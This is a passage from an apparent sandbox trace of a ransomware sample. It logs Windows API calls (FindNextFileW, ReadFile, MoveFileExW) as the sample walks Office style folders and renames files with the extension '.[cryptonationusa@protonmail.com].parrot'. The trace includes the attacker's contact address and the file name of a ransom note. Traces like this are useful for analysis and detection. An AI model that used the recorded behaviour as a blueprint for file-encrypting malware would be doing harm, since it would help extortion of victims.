lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0169.689] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.689] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcb0, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xcb0, lpOverlapped=0x0) returned 1 [0169.689] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.690] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.695] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.695] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0169.696] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.696] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71f, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x71f, lpOverlapped=0x0) returned 1 [0169.697] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.697] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Beige.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\beige.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Beige.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\beige.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.701] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0169.701] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.701] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4dc230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.701] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.701] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.701] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0169.702] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.702] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0169.703] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.703] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x155, lpOverlapped=0x0) returned 1 [0169.703] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.708] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.708] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0169.709] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.709] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xde, lpOverlapped=0x0) returned 1 [0169.709] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.719] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0169.719] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf12fa340, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf12fa340, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.719] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf12d41e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xf12d41e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf12fa340, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0169.720] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.720] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0169.803] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.804] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd80, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xd80, lpOverlapped=0x0) returned 1 [0169.804] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.805] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.810] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0169.810] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.811] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd502390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.811] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.811] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.811] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0169.811] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.811] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0169.812] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.812] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x143, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x143, lpOverlapped=0x0) returned 1 [0169.812] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.813] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\background.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\background.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.821] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.821] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0169.822] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.822] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xb9, lpOverlapped=0x0) returned 1 [0169.822] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.823] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\button.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\BUTTON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\button.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.827] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.827] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0169.828] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.828] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x155, lpOverlapped=0x0) returned 1 [0169.828] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.828] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.834] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.834] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0169.835] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.835] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xde, lpOverlapped=0x0) returned 1 [0169.835] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.835] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.840] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0169.840] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf142ae40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf142ae40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.840] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf13deb80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BACKGR~1.PAR")) returned 1 [0169.840] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.840] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0169.911] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.911] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc3c, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xc3c, lpOverlapped=0x0) returned 1 [0169.911] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.912] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.917] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0169.917] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.917] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.936] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.936] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.936] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0169.937] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.937] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0169.938] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.938] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16f, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x16f, lpOverlapped=0x0) returned 1 [0169.938] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.939] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\HEADER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.945] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.945] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0169.946] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.946] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x155, lpOverlapped=0x0) returned 1 [0169.946] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.947] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.952] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.952] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 